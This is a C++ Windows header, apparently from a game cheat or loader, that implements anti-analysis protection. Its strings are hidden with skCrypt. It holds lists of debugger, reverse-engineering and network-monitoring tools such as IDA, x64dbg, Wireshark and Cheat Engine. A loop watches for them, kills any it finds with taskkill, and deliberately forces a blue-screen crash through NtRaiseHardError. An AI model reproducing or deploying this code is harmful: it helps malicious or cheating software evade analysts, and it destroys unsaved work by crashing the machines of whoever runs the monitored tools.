#pragma once
#include <Windows.h>
#include <thread>
#include "../misc/process.hpp"
#include "kill_process.h"
#include "../webhook/webhook.h"
#include <vector>
#include <psapi.h>
#include <iostream>
#include <string>
#include <unordered_set>
#include "../../skStr.h"

#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "Version.lib")
#pragma comment(lib, "ntdll.lib")
#pragma warning(disable : 4996) 

extern "C"
{
	NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
	NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
}

#define SHUTDOWN_PRIVILEGE 19
#define OPTION_SHUTDOWN 6

typedef NTSTATUS(NTAPI* pdef_RtlAdjustPrivilege)(
	ULONG privilege,
	BOOLEAN enable,
	BOOLEAN current_thread,
	PBOOLEAN enabled);

typedef NTSTATUS(NTAPI* pdef_NtRaiseHardError)(
	NTSTATUS error_status,
	ULONG number_of_parameters,
	ULONG unicode_string_parameter_mask,
	PULONG_PTR parameters,
	ULONG response_option,
	PULONG reponse);

void blue_screen()
{
	auto ntdll = LoadLibraryA(skCrypt("ntdll.dll"));
	auto RtlAdjustPrivilege = (pdef_RtlAdjustPrivilege)GetProcAddress(ntdll, skCrypt("RtlAdjustPrivilege"));
	BOOLEAN enabled;
	if (RtlAdjustPrivilege(SHUTDOWN_PRIVILEGE, TRUE, FALSE, &enabled) == 0) {
		auto NtRaiseHardError = (pdef_NtRaiseHardError)GetProcAddress(ntdll, skCrypt("NtRaiseHardError"));
		ULONG response;
		NtRaiseHardError((NTSTATUS)0xC0000002, 0, 0, nullptr, OPTION_SHUTDOWN, &response);
	}
}

std::string GetProcessFilePath(DWORD processID) {
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
	if (hProcess == NULL) {
		return "";
	}

	char buffer[MAX_PATH];
	DWORD bufferSize = sizeof(buffer);

	if (QueryFullProcessImageNameA(hProcess, 0, buffer, &bufferSize)) {
		CloseHandle(hProcess);
		return std::string(buffer);
	}
	else {
		CloseHandle(hProcess);
		return "";
	}
}

std::string GetProductName(const std::string& filePath) {
	DWORD handle = 0;
	DWORD size = GetFileVersionInfoSizeA(filePath.c_str(), &handle);
	if (size == 0) {
		return "";
	}

	std::vector<char> versionInfo(size);
	if (!GetFileVersionInfoA(filePath.c_str(), handle, size, versionInfo.data())) {
		return "";
	}

	void* buffer = nullptr;
	UINT sizeBuffer = 0;

	BOOL value1 = VerQueryValueA(versionInfo.data(), "\\StringFileInfo\\040904b0\\ProductName", &buffer, &sizeBuffer); // ingles us
	if (value1) {
		return std::string(static_cast<char*>(buffer), sizeBuffer);
	}

	BOOL value2 = VerQueryValueA(versionInfo.data(), "\\StringFileInfo\\0C0904B0\\ProductName", &buffer, &sizeBuffer); // ingles australia
	if (value2) {
		return std::string(static_cast<char*>(buffer), sizeBuffer);
	}

	BOOL value3 = VerQueryValueA(versionInfo.data(), "\\StringFileInfo\\040004B0\\ProductName", &buffer, &sizeBuffer); // neutro
	if (value3) {
		return std::string(static_cast<char*>(buffer), sizeBuffer);
	}

	BOOL value4 = VerQueryValueA(versionInfo.data(), "\\StringFileInfo\\041604E4\\ProductName", &buffer, &sizeBuffer); // pt br
	if (value4) {
		return std::string(static_cast<char*>(buffer), sizeBuffer);
	}

	return "";
}

std::vector<DWORD> GetAllProcessIds() {
	std::vector<DWORD> processIds;
	DWORD processes[1024], bytesReturned;
	if (EnumProcesses(processes, sizeof(processes), &bytesReturned)) {
		DWORD numProcesses = bytesReturned / sizeof(DWORD);
		processIds.assign(processes, processes + numProcesses);
	}
	return processIds;
}

bool stringContains(const std::string& str, const std::string& substr) {
	return str.find(substr) != std::string::npos;
}

std::unordered_set<std::string> bitches = { //process names
	skCrypt("ida.exe").decrypt(),
	skCrypt("idag.exe").decrypt(),
	skCrypt("idag64.exe").decrypt(),
	skCrypt("idaw.exe").decrypt(),
	skCrypt("idaw64.exe").decrypt(),
	skCrypt("scylla.exe").decrypt(),
	skCrypt("scylla_x64.exe").decrypt(),
	skCrypt("scylla_x86.exe").decrypt(),
	skCrypt("x32dbg.exe").decrypt(),
	skCrypt("x64dbg.exe").decrypt(),
	skCrypt("ida64.exe").decrypt(),
	skCrypt("x86_64-SSE4-AVX2.exe").decrypt(),
	skCrypt("Wireshark.exe").decrypt(),
	skCrypt("processhacker.exe").decrypt(),
	skCrypt("ProcessHacker.exe").decrypt(),
	skCrypt("netstat.exe").decrypt(),
	skCrypt("netmon.exe").decrypt(),
	skCrypt("tcpview.exe").decrypt(),
	skCrypt("filemon.exe").decrypt(),
	skCrypt("regmon.exe").decrypt(),
	skCrypt("cain.exe").decrypt(),
	skCrypt("HTTPDebuggerUI.exe").decrypt(),
	skCrypt("HTTPDebuggerSvc.exe").decrypt(),
	skCrypt("FileGrab.exe").decrypt(),
	skCrypt("KsDumperClient.exe").decrypt(),
	skCrypt("FolderChangesView.exe").decrypt(),
	skCrypt("procmon.exe").decrypt(),
	skCrypt("Xenos64.exe").decrypt(),
	skCrypt("Fiddler.exe").decrypt(),
	skCrypt("HTTP Debugger Windows Service (32 bit).exe").decrypt(),
	skCrypt("Cheat Engine.exe").decrypt(),
	skCrypt("Fiddler Everywhere.exe").decrypt(),
	skCrypt("SystemInformer.exe").decrypt(),
	skCrypt("peview.exe").decrypt(),
	skCrypt("ReClass.NET.exe").decrypt(),
	skCrypt("ReClass.NET_Launcher.exe").decrypt(),
	skCrypt("Lunar Engine.exe").decrypt()
};

std::unordered_set<std::string> bitches2 = { //window names
	skCrypt("IDA: Quick start").decrypt(),
	skCrypt("Memory Viewer").decrypt(),
	skCrypt("Cheat Engine").decrypt(),
	skCrypt("Cheat Engine 7.5").decrypt(),
	skCrypt("Cheat Engine 7.4").decrypt(),
	skCrypt("Cheat Engine 7.3").decrypt(),
	skCrypt("Cheat Engine 7.2").decrypt(),
	skCrypt("Cheat Engine 7.1").decrypt(),
	skCrypt("Cheat Engine 7.0").decrypt(),
	skCrypt("Process List").decrypt(),
	skCrypt("x32dbg").decrypt(),
	skCrypt("x64dbg").decrypt(),
	skCrypt("KsDumper").decrypt(),
	skCrypt("Fiddler Everywhere").decrypt(),
	skCrypt("Fiddler Classic").decrypt(),
	skCrypt("Fiddler Jam").decrypt(),
	skCrypt("FiddlerCap").decrypt(),
	skCrypt("FiddlerCore").decrypt(),
	skCrypt("Scylla x86 v0.9.8").decrypt(),
	skCrypt("Scylla x64 v0.9.8").decrypt(),
	skCrypt("Scylla x86 v0.9.5a").decrypt(),
	skCrypt("Scylla x64 v0.9.5a").decrypt(),
	skCrypt("Scylla x86 v0.9.5").decrypt(),
	skCrypt("Scylla x64 v0.9.5").decrypt(),
	skCrypt("Detect It Easy v3.01").decrypt(),
	skCrypt("Everything").decrypt(),
	skCrypt("OllyDbg").decrypt(),
	skCrypt("HxD").decrypt(),
	skCrypt("Snowman").decrypt(),
	skCrypt("Lunar Engine 7.2").decrypt(),
	skCrypt("Process Explorer").decrypt(),
	skCrypt("ReClass.NET (x64)").decrypt(),
	skCrypt("ReClass.NET (x86)").decrypt(),
	skCrypt("UD").decrypt()
};

std::unordered_set<std::string> bitches3 = { //product names
	skCrypt("Cheat Engine").decrypt(),
	skCrypt("HTTP Debugger").decrypt(),
	skCrypt("Process List").decrypt(),
	skCrypt("x32dbg").decrypt(),
	skCrypt("x64dbg").decrypt(),
	skCrypt("KsDumper").decrypt(),
	skCrypt("Fiddler Everywhere").decrypt(),
	skCrypt("Fiddler Classic").decrypt(),
	skCrypt("Fiddler Jam").decrypt(),
	skCrypt("FiddlerCap").decrypt(),
	skCrypt("FiddlerCore").decrypt(),
	skCrypt("Scylla").decrypt(),
	skCrypt("OllyDbg").decrypt(),
	skCrypt("HxD").decrypt(),
	skCrypt("Snowman").decrypt(),
	skCrypt("Process Hacker").decrypt(),
	skCrypt("Process Explorer").decrypt(),
	skCrypt("PE Viewer").decrypt(),
	skCrypt("System Informer").decrypt(),
	skCrypt("Wireshark").decrypt(),
	skCrypt("FileGrab").decrypt(),
	skCrypt("Lunar Engine").decrypt(),
	skCrypt("Process Explorer").decrypt(),
	skCrypt("Reclass.NET").decrypt(),
	skCrypt("ReClass.NET").decrypt(),
	skCrypt("UD").decrypt()
};

void processProtect()
{
	while (true) {
		for (const auto& x : bitches) {
			if (process_find(x))
			{
				std::string killFoundProcess = "taskkill /f /im " + x + " >nul 2>&1";

				//webhook::sendLog(x);
				std::this_thread::sleep_for(std::chrono::milliseconds(3000));
				system(killFoundProcess.c_str());
				//system(skCrypt("taskkill /f /im FiveM.exe >nul 2>&1").decrypt());
				BOOLEAN PrivilegeState = FALSE;
				ULONG ErrorResponse = 0;
				RtlAdjustPrivilege(19, TRUE, FALSE, &PrivilegeState);
				NtRaiseHardError(STATUS_IN_PAGE_ERROR, 0, 0, NULL, 6, &ErrorResponse);
				exit(1);
			}
		}
		

		std::this_thread::sleep_for(std::chrono::milliseconds(1000));

		for (const auto& y : bitches2) {
			if (FindWindowA(0, y.c_str()))
			{
				//webhook::sendLog(y);
				std::this_thread::sleep_for(std::chrono::milliseconds(3000));
				//system(skCrypt("taskkill /f /im FiveM.exe >nul 2>&1").decrypt());
				BOOLEAN PrivilegeState = FALSE;
				ULONG ErrorResponse = 0;
				RtlAdjustPrivilege(19, TRUE, FALSE, &PrivilegeState);
				NtRaiseHardError(STATUS_IN_PAGE_ERROR, 0, 0, NULL, 6, &ErrorResponse);
				exit(1);
			}
		}

		std::this_thread::sleep_for(std::chrono::milliseconds(1000));

		for (auto z : GetAllProcessIds()) {
			std::string filePath = GetProcessFilePath(z);
			std::string productName = GetProductName(filePath);

			for (const auto& z1 : bitches3) {
				if (stringContains(productName, z1)) {
					//webhook::sendLog(z1);
					std::this_thread::sleep_for(std::chrono::milliseconds(3000));
				//	system(skCrypt("taskkill /f /im FiveM.exe >nul 2>&1").decrypt());
					BOOLEAN PrivilegeState = FALSE;
					ULONG ErrorResponse = 0;
					RtlAdjustPrivilege(19, TRUE, FALSE, &PrivilegeState);
					NtRaiseHardError(STATUS_IN_PAGE_ERROR, 0, 0, NULL, 6, &ErrorResponse);
					exit(1);
				}
			}
		}

		std::this_thread::sleep_for(std::chrono::milliseconds(3500));
	}
}